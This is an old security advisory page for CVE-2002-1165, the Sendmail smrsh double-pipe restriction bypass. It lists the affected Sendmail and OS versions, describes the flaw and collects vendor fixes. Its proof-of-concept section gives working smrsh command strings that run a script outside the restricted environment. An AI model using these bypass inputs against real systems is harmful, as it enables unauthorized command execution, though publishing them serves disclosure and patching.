Sendmail SMRSH Double Pipe Access Validation Vulnerability

BID:5845

Info

Sendmail SMRSH Double Pipe Access Validation Vulnerability

Bugtraq ID: 5845
Class: Access Validation Error
CVE: CVE-2002-1165
Remote: No
Local: Yes
Published: Oct 01 2002 12:00AM
Updated: Jul 11 2009 05:06PM
Credit: Vulnerability discovery credited to zen-parse <[email protected]>.
Vulnerable: Sendmail Consortium Sendmail 8.12.6
+ Apple Mac OS X 10.2.4
+ Conectiva Linux Enterprise Edition 1.0
+ FreeBSD FreeBSD 5.0
+ FreeBSD FreeBSD 4.7
+ MandrakeSoft Corporate Server 2.1
+ Mandriva Linux Mandrake 9.0
+ OpenBSD OpenBSD 3.2
 + SuSE Linux 8.1
Sendmail Consortium Sendmail 8.12.5
+ OpenBSD OpenBSD 3.2
 Sendmail Consortium Sendmail 8.12.4
+ OpenBSD OpenBSD 3.2
 + Slackware Linux 8.1
+ Slackware Linux -current
 Sendmail Consortium Sendmail 8.12.3
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
+ FreeBSD FreeBSD 4.6
+ SuSE Linux 8.0 i386
 + SuSE Linux 8.0
Sendmail Consortium Sendmail 8.12.2
+ Apple Mac OS X 10.2.3
+ Apple Mac OS X 10.2.2
+ Apple Mac OS X 10.2.1
+ Apple Mac OS X 10.2
+ Apple Mac OS X Server 10.2.3
+ Apple Mac OS X Server 10.2.2
+ Apple Mac OS X Server 10.2.1
+ Apple Mac OS X Server 10.2
+ OpenBSD OpenBSD 3.1
 Sendmail Consortium Sendmail 8.12.1
+ HP MPE/iX 7.5
+ HP MPE/iX 7.0
+ Mandriva Linux Mandrake 8.2 ppc
 + Mandriva Linux Mandrake 8.2
Sendmail Consortium Sendmail 8.12 .0
Sendmail Consortium Sendmail 8.11.6
+ Caldera OpenLinux Server 3.1.1
+ Caldera OpenLinux Server 3.1
+ Caldera OpenLinux Workstation 3.1.1
+ Caldera OpenLinux Workstation 3.1
+ FreeBSD FreeBSD 4.5 -RELEASE
 + FreeBSD FreeBSD 4.5
+ FreeBSD FreeBSD 4.4
+ Immunix Immunix OS 7.0
+ Mandriva Linux Mandrake 8.1 ia64
 + Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
 + Mandriva Linux Mandrake 8.0
+ Redhat Linux 7.3 i386
 + Redhat Linux 7.2 ia64
 + Redhat Linux 7.2 i386
 + Redhat Linux 7.1 i386
 + Redhat Linux 7.0 i386
 + Redhat Linux 6.2 i386
 + Sun Cobalt RaQ 550
+ Sun Linux 5.0.3
+ Sun Linux 5.0
+ SuSE Linux 7.3 sparc
 + SuSE Linux 7.3 ppc
 + SuSE Linux 7.3 i386
 + SuSE Linux 7.3
Sendmail Consortium Sendmail 8.11.5
Sendmail Consortium Sendmail 8.11.4
- Slackware Linux 8.0
Sendmail Consortium Sendmail 8.11.3
- MandrakeSoft Corporate Server 1.0.1
- Mandriva Linux Mandrake 8.0
- Slackware Linux 7.1
+ SuSE Linux 7.2 i386
 + SuSE Linux 7.2
Sendmail Consortium Sendmail 8.11.2
+ Redhat Linux 7.1 ia64
 + Redhat Linux 7.1 i386
 + Redhat Linux 7.1 alpha
 + Redhat Linux 7.1
+ SuSE Linux 7.1 x86
 + SuSE Linux 7.1 sparc
 + SuSE Linux 7.1 ppc
 + SuSE Linux 7.1 alpha
 + SuSE Linux 7.1
Sendmail Consortium Sendmail 8.11.1
+ Caldera OpenLinux Server 3.1
+ Caldera OpenLinux Workstation 3.1
Sendmail Consortium Sendmail 8.11
+ Compaq Tru64 5.1 b
 + Compaq Tru64 5.1 a
 + Compaq Tru64 5.1
+ IBM AIX 5.2
 + IBM AIX 5.1
 - Mandriva Linux Mandrake 7.2
+ Redhat Linux 7.0 sparc
 + Redhat Linux 7.0 i386
 + Redhat Linux 7.0 alpha
 + Redhat Linux 7.0
+ SCO Open Server 5.0.6 a
 + SCO Open Server 5.0.6
+ SCO Open Server 5.0.5
+ SCO Open Server 5.0.4
- SuSE Linux 7.0 sparc
 - SuSE Linux 7.0 ppc
 - SuSE Linux 7.0 alpha
 - SuSE Linux 7.0
Sendmail Consortium Sendmail 8.10.2
+ Sun Cobalt Qube3 4000WG
+ Sun Cobalt RaQ 4
+ Sun Cobalt RaQ XTR
+ Sun Cobalt RaQ XTR 3500R
+ Sun Cobalt RaQ4 3001R
Sendmail Consortium Sendmail 8.10.1
Sendmail Consortium Sendmail 8.10
Sendmail Consortium Sendmail 8.9.3
+ Compaq Tru64 5.1 PK5 (BL19)
 + Compaq Tru64 5.0 a PK3 (BL17)
 + Debian Linux 2.2 sparc
 + Debian Linux 2.2 powerpc
 + Debian Linux 2.2 IA-32
 + Debian Linux 2.2 arm
 + Debian Linux 2.2 alpha
 + Debian Linux 2.2 68k
 + Debian Linux 2.2
+ IBM AIX 4.3.3
+ SGI IRIX 6.5.19
+ SGI IRIX 6.5.18 m
 + SGI IRIX 6.5.18 f
 + SGI IRIX 6.5.17 m
 + SGI IRIX 6.5.17 f
 + SGI IRIX 6.5.16 m
 + SGI IRIX 6.5.16 f
 + SGI IRIX 6.5.15 m
 + SGI IRIX 6.5.15 f
 + SGI IRIX 6.5.14 m
 + SGI IRIX 6.5.14 f
 + SGI IRIX 6.5.13 m
 + SGI IRIX 6.5.13 f
 + SGI IRIX 6.5.12 m
 + SGI IRIX 6.5.12 f
 + SGI IRIX 6.5.11 m
 + SGI IRIX 6.5.11 f
 + SGI IRIX 6.5.10 m
 + SGI IRIX 6.5.10 f
 + SGI IRIX 6.5.9 m
 + SGI IRIX 6.5.9 f
 + SGI IRIX 6.5.8 m
 + SGI IRIX 6.5.8 f
 + SGI IRIX 6.5.7 m
 + SGI IRIX 6.5.7 f
 Sendmail Consortium Sendmail 8.8.8
+ Compaq Tru64 4.0 g PK3 (BL17)
 + Compaq Tru64 4.0 f PK7 (BL18)
 + SGI IRIX 6.5.6
+ SGI IRIX 6.5.5
+ SGI IRIX 6.5.4
+ SGI IRIX 6.5.3
+ SGI IRIX 6.5.2
+ SGI IRIX 6.5.1
+ SGI IRIX 6.5
OpenBSD OpenBSD 2.9
OpenBSD OpenBSD 2.8
OpenBSD OpenBSD 2.7
OpenBSD OpenBSD 2.6
OpenBSD OpenBSD 2.5
OpenBSD OpenBSD 2.4
OpenBSD OpenBSD 2.3
OpenBSD OpenBSD 2.2
OpenBSD OpenBSD 2.1
OpenBSD OpenBSD 3.2
OpenBSD OpenBSD 3.1
OpenBSD OpenBSD 3.0
NetBSD NetBSD 1.6
NetBSD NetBSD 1.5.3
NetBSD NetBSD 1.5.2
NetBSD NetBSD 1.5.1
NetBSD NetBSD 1.5
HP HP-UX 11.22
HP HP-UX 11.11
HP HP-UX 11.0 4
HP HP-UX 11.0
FreeBSD FreeBSD 4.6
FreeBSD FreeBSD 4.5
FreeBSD FreeBSD 4.4
FreeBSD FreeBSD 4.3
Caldera OpenLinux Workstation 3.1.1
Caldera OpenLinux Workstation 3.1
Caldera OpenLinux Server 3.1.1
Caldera OpenLinux Server 3.1
Not Vulnerable:

Discussion

Sendmail SMRSH Double Pipe Access Validation Vulnerability

Sendmail is a freely available, open source mail transport agent. It is maintained and distributed by the Sendmail Consortium. Sendmail is available for the Unix and Linux operating systems.

smrsh is designed to prevent the execution of commands outside of the restricted environment. However, when commands are entered using either double pipes (||) or a mixture of dot (.) and slash (/) characters, a user may be able to bypass the checks performed by smrsh. This could lead to the execution of commands outside of the restricted environment.

Exploit / POC

Sendmail SMRSH Double Pipe Access Validation Vulnerability

$ echo "echo unauthorized execute" &gt; /tmp/unauth
$ smrsh -c ". || . /tmp/unauth || ."
/bin/sh: /etc/smrsh/.: is a directory
unauthorized execute

OR one of the following types of commands:

smrsh -c "/ command"
smrsh -c "../ command"
smrsh -c "./ command"
smrsh -c "././ command"

Solution / Fix

Sendmail SMRSH Double Pipe Access Validation Vulnerability

Solution:
OpenBSD has released patches for OpenBSD 3.0, 3.1 and 3.2 systems.
NetBSD has released an advisory. Users are advised to upgrade the smrsh binary.

Users of NetBSD-current are advised to upgrade to NetBSD-current dated 2002-10-04 or later. Users of NetBSD 1.6 are advised to upgrade from NetBSD 1.6 sources dated 2002-10-04 or later. Users of NetBSD 1.5 through 1.5.3 from NetBSD 1.5.* sources dated 2002-10-04 or later. Further details are available in the referenced advisory.

Users of Gentoo Linux are advised to upgrade using the following commands:

emerge rsync
emerge sendmail
emerge clean

Conectiva has released an advisory.

FreeBSD has released an advisory. Users are advised to upgrade vulnerable systems to the 4.7-STABLE branch, or to the appropriate RELENG_4_x branch after the correction date. A patch is also available. Further details may be found in the referenced advisory.

Mandrake has released a security advisory (MDKSA-2002:083). Fixes for Mandrake Linux are now available.

SGI has released an advisory. Users are advised to upgrade to IRIX 6.5.19 when available or to install the appropriate patch. Further information is available in the referenced advisory.

Apple has addressed this issue in MacOS X 10.2.4/MacOS X Server 10.2.4. Users are advised to upgrade.

HP has released a revised version of their advisory (HPSBUX0212-234) which has been updated to include fix information. Users are advised to upgrade as soon as possible. An upgrade for HP-UX 11.00 and 11.11 has also be made available online and can be accessed using the following link:

http://www.software.hp.com/cgi-bin/swdepot_parser.cgi/cgi/displayProductInfo.pl?productNumber=SMAIL811

Fixes are available.


OpenBSD OpenBSD 3.2

OpenBSD OpenBSD 3.0

OpenBSD OpenBSD 3.1

HP HP-UX 11.0 4

HP HP-UX 11.0

HP HP-UX 11.11

HP HP-UX 11.22

Caldera OpenLinux Server 3.1

Caldera OpenLinux Workstation 3.1

Caldera OpenLinux Server 3.1.1

Caldera OpenLinux Workstation 3.1.1

FreeBSD FreeBSD 4.4

FreeBSD FreeBSD 4.5

FreeBSD FreeBSD 4.6

Sendmail Consortium Sendmail 8.11

Sendmail Consortium Sendmail 8.11.1

Sendmail Consortium Sendmail 8.11.4

Sendmail Consortium Sendmail 8.11.6

Sendmail Consortium Sendmail 8.12 .0

Sendmail Consortium Sendmail 8.12.1

Sendmail Consortium Sendmail 8.12.2

Sendmail Consortium Sendmail 8.12.3

Sendmail Consortium Sendmail 8.12.4

Sendmail Consortium Sendmail 8.12.5

Sendmail Consortium Sendmail 8.12.6

References

Sendmail SMRSH Double Pipe Access Validation Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report